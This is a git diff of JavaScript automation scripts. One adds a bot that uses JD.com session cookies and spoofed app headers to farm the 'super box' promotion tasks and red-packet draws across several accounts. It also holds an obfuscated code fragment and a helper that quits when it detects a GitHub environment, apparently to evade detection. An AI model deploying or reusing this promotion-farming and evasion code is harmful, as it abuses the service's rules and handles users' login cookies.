_0x101ax48[_0x101ax49])[__Oxe8d96[0xd2]](__Oxe8d96[0x0][__Oxe8d96[0x117]](_0x101ax48[_0x101ax49])[__Oxe8d96[0x2a]]))}};return _0x101ax47};function random(_0x101ax35,_0x101ax36){return Math[__Oxe8d96[0xd6]](Math[__Oxe8d96[0x24]]()* (_0x101ax36- _0x101ax35))+ _0x101ax35}function getUrlQueryValueByKey(_0x101ax4b,_0x101ax22){if(!_0x101ax22){_0x101ax22= location[__Oxe8d96[0x11e]]};var _0x101ax4c= new RegExp(__Oxe8d96[0x11f]+ _0x101ax4b+ __Oxe8d96[0x120]);var _0x101ax4d=_0x101ax22[__Oxe8d96[0x2c]](_0x101ax4c);if(_0x101ax4d!= null){return decodeURIComponent(_0x101ax4d[0x2])};return __Oxe8d96[0x0]}(function(_0x101ax4e,_0x101ax20,_0x101ax4f,_0x101ax50,_0x101ax51,_0x101ax49){_0x101ax49= __Oxe8d96[0x97];_0x101ax50= function(_0x101ax52){if( typeof alert!== _0x101ax49){alert(_0x101ax52)};if( typeof console!== _0x101ax49){console[__Oxe8d96[0xb]](_0x101ax52)}};_0x101ax4f= function(_0x101ax2e,_0x101ax4e){return _0x101ax2e+ _0x101ax4e};_0x101ax51= _0x101ax4f(__Oxe8d96[0x121],_0x101ax4f(_0x101ax4f(__Oxe8d96[0x122],__Oxe8d96[0x123]),__Oxe8d96[0x124]));try{_0x101ax4e= __encode;if(!( typeof _0x101ax4e!== _0x101ax49&& _0x101ax4e=== _0x101ax4f(__Oxe8d96[0x125],__Oxe8d96[0x126]))){_0x101ax50(_0x101ax51)}}catch(e){_0x101ax50(_0x101ax51)}})({}) + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cjhz.js b/jd_cjhz.js new file mode 100644 index 0000000..c4633ec --- /dev/null +++ b/jd_cjhz.js @@ -0,0 +1,402 @@ +/* +京东超级盒子 +更新时间:2022-1-9 +活动入口:京东APP-搜索-超级盒子 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东超级盒子 +24 3,13 * * * https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, tag=京东超级盒子, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "24 3,13 * * *" script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js,tag=京东超级盒子 + +===============Surge================= +京东超级盒子 = type=cron,cronexp="24 3,13 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js + +============小火箭========= +京东超级盒子 = type=cron,script-path=https://raw.githubusercontent.com/msechen/script/main/jd_cjhz.js, cronexpr="24 3,13 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东超级盒子'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + secretp = '', + joyToken = ""; +$.shareCoseList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +!(async () => { + console.log('活动入口:京东APP-搜索-超级盒子') + console.log('开箱目前结果为空气和红包,没发现豆子') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getToken(); + cookiesArr = cookiesArr.map(ck => ck + `joyytoken=50084${joyToken};`) + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + console.log(`\n入口:app主页搜超级盒子\n`); + await main() + } + }; + $.shareCoseList = [...new Set([...$.shareCoseList,''])] + //去助力与开箱 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + if ($.shareCoseList.length >= 2) { + for (let y = 0; y < $.shareCoseList.length; y++) { + console.log(`京东账号${$.index} ${$.nickName || $.UserName}去助力${$.shareCoseList[y]}`) + await helpShare({ "taskId": $.helpId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.shareCoseList[y] }); + await $.wait(1000); + } + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + continue + } + //开箱 + console.log(`京东账号${$.index}去开箱`) + for (let y = 0; y < $.lotteryNumber; y++) { + console.log(`可以开箱${$.lotteryNumber}次 ==>>第${y+1}次开箱`) + await openBox({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }); + await $.wait(1000); + } + } + } +})() +.catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function main() { + await superboxSupBoxHomePage({ "taskId": "", "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "" }) + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}互助码:${$.encryptPin}`) + await $.wait(1000); + await apTaskList({ "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": $.encryptPin }); + if ($.allList) { + for (let i = 0; i < $.allList.length; i++) { + $.oneTask = $.allList[i]; + if (["SHARE_INVITE"].includes($.oneTask.taskType)) { + $.helpId = $.oneTask.id; + $.helpLimit = $.oneTask.taskLimitTimes; + }; + if (["BROWSE_SHOP"].includes($.oneTask.taskType) && $.oneTask.taskFinished === false) { + await apTaskDetail({ "taskId": $.oneTask.id, "taskType": $.oneTask.taskType, "channel": 4, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }); + await $.wait(1000) + for (let y = 0; y < ($.doList.status.finishNeed - $.doList.status.userFinishedTimes); y++) { + $.startList = $.doList.taskItemList[y]; + $.itemName = $.doList.taskItemList[y].itemName; + console.log(`去浏览${$.itemName}`) + await apDoTask({ "taskId": $.allList[i].id, "taskType": $.allList[i].taskType, "channel": 4, "itemId": $.startList.itemId, "linkId": "Ll3Qb2mhCXSEWxruhv8qIw", "encryptPin": "7pcfSWHrAG9MKu3RKLl127VL5L4aIE1sZ1eRRdphpl8" }) + await $.wait(1000) + } + } + } + } else { + console.log(`任务全部完成`) + } +} + +//活动主页 +function superboxSupBoxHomePage(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.encryptPin = data.data.encryptPin; + $.shareCoseList.push($.encryptPin) + $.lotteryNumber = data.data.lotteryNumber + } else { + console.log(`superboxSupBoxHomePage:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + + +//获取任务列表 +function apTaskList(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('apTaskList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apTaskList API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.allList = data.data + //console.log(JSON.stringify($.allList[1])); + } else { + console.log(`apTaskList错误:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//获取任务分表 +function apTaskDetail(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('apTaskDetail', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apTaskDetail API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 0) { + $.doList = data.data + //console.log(JSON.stringify($.doList)); + } else { + console.log(`apTaskDetail错误:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function apDoTask(body) { + return new Promise((resolve) => { + $.post(taskPostUrl('apDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apDoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0) { + console.log(`浏览${$.itemName}完成\n已完成${data.data.userFinishedTimes}次\n`) + } else if (data.success === false && data.code === 2005) { + console.log(`${data.data.errMsg}${data.data.userFinishedTimes}次`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//助力 +function helpShare(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0) { + console.log(`助力成功\n\n`) + } else { + console.log(`助力失败:${JSON.stringify(data)}\n\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//开盲盒 +function openBox(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxOrdinaryLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxOrdinaryLottery API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0 && data.data.rewardType === 2) { + console.log(`开箱成功获得${data.data.discount}元红包\n\n`) + } else if (data.success === true && data.code === 0 && data.data.rewardType !== 2) { + console.log(`开箱成功应该获得了空气${JSON.stringify(data.data)}\n\n`) + } else { + console.log(`失败:${JSON.stringify(data)}\n\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getToken(timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://bh.m.jd.com/gettoken`, + headers: { + 'Content-Type': `text/plain;charset=UTF-8` + }, + body: `content={"appname":"50084","whwswswws":"","jdkey":"","body":{"platform":"1"}}` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + joyToken = data.joyytoken; + console.log(`joyToken = ${data.joyytoken}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function taskGetUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, + //body: `functionId=${functionId}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0&uuid=ef746bc0663f7ca06cdd1fa724c15451900039cf`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', + } + } +} + +function taskPostUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body: `functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch {} + return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => {})) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) })) } post(t, e = (() => {})) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); + else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; + this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: 